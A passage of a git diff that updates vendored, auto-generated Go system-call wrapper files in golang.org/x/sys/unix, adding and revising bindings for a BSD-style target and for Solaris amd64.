- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -712,15 +730,8 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-+func Ftruncate(fd int, length int64) (err error) {
-+ _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -729,14 +740,6 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-- size = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getegid() (egid int) {
- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
-@@ -817,6 +820,17 @@ func Getrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Getrtable() (rtable int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_GETRTABLE, 0, 0, 0)
-+ rtable = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getrusage(who int, rusage *Rusage) (err error) {
- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
- if e1 != 0 {
-@@ -838,6 +852,16 @@ func Getsid(pid int) (sid int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Gettimeofday(tv *Timeval) (err error) {
-+ _, _, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getuid() (uid int) {
- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
-@@ -847,13 +871,23 @@ func Getuid() (uid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Issetugid() (tainted bool) {
-- r0, _, _ := RawSyscall(SYS_ISSETUGID, 0, 0, 0)
-+ r0, _, _ := Syscall(SYS_ISSETUGID, 0, 0, 0)
- tainted = bool(r0 != 0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Kill(pid int, signum syscall.Signal) (err error) {
-+ _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Kqueue() (fd int, err error) {
- r0, _, e1 := Syscall(SYS_KQUEUE, 0, 0, 0)
- fd = int(r0)
-@@ -936,7 +970,7 @@ func Lstat(path string, stat *Stat_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_LSTAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -990,6 +1024,21 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mkfifoat(dirfd int, path string, mode uint32) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_MKFIFOAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1005,6 +1054,31 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Open(path string, mode int, perm uint32) (fd int, err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1060,7 +1134,7 @@ func Pread(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := Syscall6(SYS_PREAD, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1077,7 +1151,7 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(offset), uintptr(offset>>32), 0)
-+ r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1219,8 +1293,8 @@ func Rmdir(path string) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), uintptr(offset), uintptr(offset>>32), uintptr(whence), 0, 0)
-- newoffset = int64(int64(r1)<<32 | int64(r0))
-+ r0, _, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(whence), 0, 0)
-+ newoffset = int64(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1229,8 +1303,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1240,7 +1315,7 @@ func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Setegid(egid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETEGID, uintptr(egid), 0, 0)
-+ _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1304,8 +1379,8 @@ func Setpriority(which int, who int, prio int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setprivexec(flag int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIVEXEC, uintptr(flag), 0, 0)
-+func Setregid(rgid int, egid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1314,8 +1389,8 @@ func Setprivexec(flag int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setregid(rgid int, egid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0)
-+func Setreuid(ruid int, euid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1324,8 +1399,18 @@ func Setregid(rgid int, egid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setreuid(ruid int, euid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0)
-+func Setresgid(rgid int, egid int, sgid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESGID, uintptr(rgid), uintptr(egid), uintptr(sgid))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setresuid(ruid int, euid int, suid int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRESUID, uintptr(ruid), uintptr(euid), uintptr(suid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1344,6 +1429,16 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Setrtable(rtable int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_SETRTABLE, uintptr(rtable), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
- pid = int(r0)
-@@ -1381,7 +1476,7 @@ func Stat(path string, stat *Stat_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1396,7 +1491,7 @@ func Statfs(path string, stat *Statfs_t) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ _, _, e1 := Syscall(SYS_STATFS, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1461,7 +1556,7 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1478,21 +1573,6 @@ func Umask(newmask int) (oldmask int) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Undelete(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1556,7 +1636,7 @@ func write(fd int, p []byte) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1598,10 +1678,13 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-- sec = int32(r0)
-- usec = int32(r1)
-+func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-index 4287133d..a96165d4 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_solaris_amd64.go
-@@ -1,4 +1,4 @@
--// mksyscall_solaris.pl -tags solaris,amd64 syscall_solaris.go syscall_solaris_amd64.go
-+// go run mksyscall_solaris.go -tags solaris,amd64 syscall_solaris.go syscall_solaris_amd64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build solaris,amd64
-@@ -25,7 +25,11 @@ import (
- //go:cgo_import_dynamic libc___xnet_recvmsg __xnet_recvmsg "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_sendmsg __xnet_sendmsg "libsocket.so"
- //go:cgo_import_dynamic libc_acct acct "libc.so"
-+//go:cgo_import_dynamic libc___makedev __makedev "libc.so"
-+//go:cgo_import_dynamic libc___major __major "libc.so"
-+//go:cgo_import_dynamic libc___minor __minor "libc.so"
- //go:cgo_import_dynamic libc_ioctl ioctl "libc.so"
-+//go:cgo_import_dynamic libc_poll poll "libc.so"
- //go:cgo_import_dynamic libc_access access "libc.so"
- //go:cgo_import_dynamic libc_adjtime adjtime "libc.so"
- //go:cgo_import_dynamic libc_chdir chdir "libc.so"
-@@ -37,6 +41,7 @@ import (
- //go:cgo_import_dynamic libc_dup dup "libc.so"
- //go:cgo_import_dynamic libc_dup2 dup2 "libc.so"
- //go:cgo_import_dynamic libc_exit exit "libc.so"
-+//go:cgo_import_dynamic libc_faccessat faccessat "libc.so"
- //go:cgo_import_dynamic libc_fchdir fchdir "libc.so"
- //go:cgo_import_dynamic libc_fchmod fchmod "libc.so"
- //go:cgo_import_dynamic libc_fchmodat fchmodat "libc.so"
-@@ -46,6 +51,7 @@ import (
- //go:cgo_import_dynamic libc_flock flock "libc.so"
- //go:cgo_import_dynamic libc_fpathconf fpathconf "libc.so"
- //go:cgo_import_dynamic libc_fstat fstat "libc.so"
-+//go:cgo_import_dynamic libc_fstatat fstatat "libc.so"
- //go:cgo_import_dynamic libc_fstatvfs fstatvfs "libc.so"
- //go:cgo_import_dynamic libc_getdents getdents "libc.so"
- //go:cgo_import_dynamic libc_getgid getgid "libc.so"
-@@ -75,6 +81,7 @@ import (
- //go:cgo_import_dynamic libc_mlock mlock "libc.so"
- //go:cgo_import_dynamic libc_mlockall mlockall "libc.so"
- //go:cgo_import_dynamic libc_mprotect mprotect "libc.so"
-+//go:cgo_import_dynamic libc_msync msync "libc.so"
- //go:cgo_import_dynamic libc_munlock munlock "libc.so"
- //go:cgo_import_dynamic libc_munlockall munlockall "libc.so"
- //go:cgo_import_dynamic libc_nanosleep nanosleep "libc.so"
-@@ -90,6 +97,7 @@ import (
- //go:cgo_import_dynamic libc_renameat renameat "libc.so"
- //go:cgo_import_dynamic libc_rmdir rmdir "libc.so"
- //go:cgo_import_dynamic libc_lseek lseek "libc.so"
-+//go:cgo_import_dynamic libc_select select "libc.so"
- //go:cgo_import_dynamic libc_setegid setegid "libc.so"
- //go:cgo_import_dynamic libc_seteuid seteuid "libc.so"
- //go:cgo_import_dynamic libc_setgid setgid "libc.so"
-@@ -121,6 +129,7 @@ import (
- //go:cgo_import_dynamic libc___xnet_connect __xnet_connect "libsocket.so"
- //go:cgo_import_dynamic libc_mmap mmap "libc.so"
- //go:cgo_import_dynamic libc_munmap munmap "libc.so"
-+//go:cgo_import_dynamic libc_sendfile sendfile "libsendfile.so"
- //go:cgo_import_dynamic libc___xnet_sendto __xnet_sendto "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_socket __xnet_socket "libsocket.so"
- //go:cgo_import_dynamic libc___xnet_socketpair __xnet_socketpair "libsocket.so"
-@@ -129,7 +138,6 @@ import (
- //go:cgo_import_dynamic libc_getpeername getpeername "libsocket.so"
- //go:cgo_import_dynamic libc_setsockopt setsockopt "libsocket.so"
- //go:cgo_import_dynamic libc_recvfrom recvfrom "libsocket.so"
--//go:cgo_import_dynamic libc_sysconf sysconf "libc.so"
-
- //go:linkname procpipe libc_pipe
- //go:linkname procgetsockname libc_getsockname
-@@ -146,7 +154,11 @@ import (
- //go:linkname proc__xnet_recvmsg libc___xnet_recvmsg
- //go:linkname proc__xnet_sendmsg libc___xnet_sendmsg
- //go:linkname procacct libc_acct
-+//go:linkname proc__makedev libc___makedev
-+//go:linkname proc__major libc___major
-+//go:linkname proc__minor libc___minor
- //go:linkname procioctl libc_ioctl
-+//go:linkname procpoll libc_poll
- //go:linkname procAccess libc_access
- //go:linkname procAdjtime libc_adjtime
- //go:linkname procChdir libc_chdir
-@@ -158,6 +170,7 @@ import (
- //go:linkname procDup libc_dup
- //go:linkname procDup2 libc_dup2
- //go:linkname procExit libc_exit
-+//go:linkname procFaccessat libc_faccessat
- //go:linkname procFchdir libc_fchdir
- //go:linkname procFchmod libc_fchmod
- //go:linkname procFchmodat libc_fchmodat
-@@ -167,6 +180,7 @@ import (
- //go:linkname procFlock libc_flock
- //go:linkname procFpathconf libc_fpathconf
- //go:linkname procFstat libc_fstat
-+//go:linkname procFstatat libc_fstatat
- //go:linkname procFstatvfs libc_fstatvfs
- //go:linkname procGetdents libc_getdents
- //go:linkname procGetgid libc_getgid
-@@ -196,6 +210,7 @@ import (
- //go:linkname procMlock libc_mlock
- //go:linkname procMlockall libc_mlockall
- //go:linkname procMprotect libc_mprotect
-+//go:linkname procMsync libc_msync
- //go:linkname procMunlock libc_munlock
- //go:linkname procMunlockall libc_munlockall
- //go:linkname procNanosleep libc_nanosleep
-@@ -211,6 +226,7 @@ import (
- //go:linkname procRenameat libc_renameat
- //go:linkname procRmdir libc_rmdir
- //go:linkname proclseek libc_lseek
-+//go:linkname procSelect libc_select
- //go:linkname procSetegid libc_setegid
- //go:linkname procSeteuid libc_seteuid
- //go:linkname procSetgid libc_setgid
-@@ -242,6 +258,7 @@ import (
- //go:linkname proc__xnet_connect libc___xnet_connect
- //go:linkname procmmap libc_mmap
- //go:linkname procmunmap libc_munmap
-+//go:linkname procsendfile libc_sendfile
- //go:linkname proc__xnet_sendto libc___xnet_sendto
- //go:linkname proc__xnet_socket libc___xnet_socket
- //go:linkname proc__xnet_socketpair libc___xnet_socketpair
-@@ -250,7 +267,6 @@ import (
- //go:linkname procgetpeername libc_getpeername
- //go:linkname procsetsockopt libc_setsockopt
- //go:linkname procrecvfrom libc_recvfrom
--//go:linkname procsysconf libc_sysconf
-
- var (
- procpipe,
-@@ -268,7 +284,11 @@ var (
- proc__xnet_recvmsg,
- proc__xnet_sendmsg,
- procacct,
-+ proc__makedev,
-+ proc__major,
-+ proc__minor,
- procioctl,
-+ procpoll,
- procAccess,
- procAdjtime,
- procChdir,
-@@ -280,6 +300,7 @@ var (
- procDup,
- procDup2,
- procExit,
-+ procFaccessat,
- procFchdir,
- procFchmod,
- procFchmodat,
-@@ -289,6 +310,7 @@ var (
- procFlock,
- procFpathconf,
- procFstat,
-+ procFstatat,
- procFstatvfs,
- procGetdents,
- procGetgid,
-@@ -318,6 +340,7 @@ var (
- procMlock,
- procMlockall,
- procMprotect,
-+ procMsync,
- procMunlock,
- procMunlockall,
- procNanosleep,
-@@ -333,6 +356,7 @@ var (
- procRenameat,
- procRmdir,
- proclseek,
-+ procSelect,
- procSetegid,
- procSeteuid,
- procSetgid,
-@@ -364,6 +388,7 @@ var (
- proc__xnet_connect,
- procmmap,
- procmunmap,
-+ procsendfile,
- proc__xnet_sendto,
- proc__xnet_socket,
- proc__xnet_socketpair,
-@@ -371,10 +396,11 @@ var (
- proc__xnet_getsockopt,
- procgetpeername,
- procsetsockopt,
-- procrecvfrom,
-- procsysconf syscallFunc
-+ procrecvfrom syscallFunc
- )
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func pipe(p *[2]_C_int) (n int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procpipe)), 1, uintptr(unsafe.Pointer(p)), 0, 0, 0, 0, 0)
- n = int(r0)
-@@ -384,6 +410,8 @@ func pipe(p *[2]_C_int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procgetsockname)), 3, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e1 != 0 {
-@@ -392,6 +420,8 @@ func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getcwd(buf []byte) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -405,6 +435,8 @@ func Getcwd(buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procgetgroups)), 2, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0, 0, 0, 0)
- n = int(r0)
-@@ -414,6 +446,8 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func setgroups(ngid int, gid *_Gid_t) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procsetgroups)), 2, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -422,6 +456,8 @@ func setgroups(ngid int, gid *_Gid_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func wait4(pid int32, statusp *_C_int, options int, rusage *Rusage) (wpid int32, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procwait4)), 4, uintptr(pid), uintptr(unsafe.Pointer(statusp)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
- wpid = int32(r0)
-@@ -431,6 +467,8 @@ func wait4(pid int32, statusp *_C_int, options int, rusage *Rusage) (wpid int32,
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func gethostname(buf []byte) (n int, err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -444,6 +482,8 @@ func gethostname(buf []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func utimes(path string, times *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -457,6 +497,8 @@ func utimes(path string, times *[2]Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func utimensat(fd int, path string, times *[2]Timespec, flag int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -470,6 +512,8 @@ func utimensat(fd int, path string, times *[2]Timespec, flag int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func fcntl(fd int, cmd int, arg int) (val int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfcntl)), 3, uintptr(fd), uintptr(cmd), uintptr(arg), 0, 0, 0)
- val = int(r0)
-@@ -479,6 +523,8 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func futimesat(fildes int, path *byte, times *[2]Timeval) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procfutimesat)), 3, uintptr(fildes), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)), 0, 0, 0)
- if e1 != 0 {
-@@ -487,6 +533,8 @@ func futimesat(fildes int, path *byte, times *[2]Timeval) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procaccept)), 3, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- fd = int(r0)
-@@ -496,6 +544,8 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_recvmsg)), 3, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags), 0, 0, 0)
- n = int(r0)
-@@ -505,6 +555,8 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_sendmsg)), 3, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags), 0, 0, 0)
- n = int(r0)
-@@ -514,6 +566,8 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func acct(path *byte) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procacct)), 1, uintptr(unsafe.Pointer(path)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -522,6 +576,32 @@ func acct(path *byte) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func __makedev(version int, major uint, minor uint) (val uint64) {
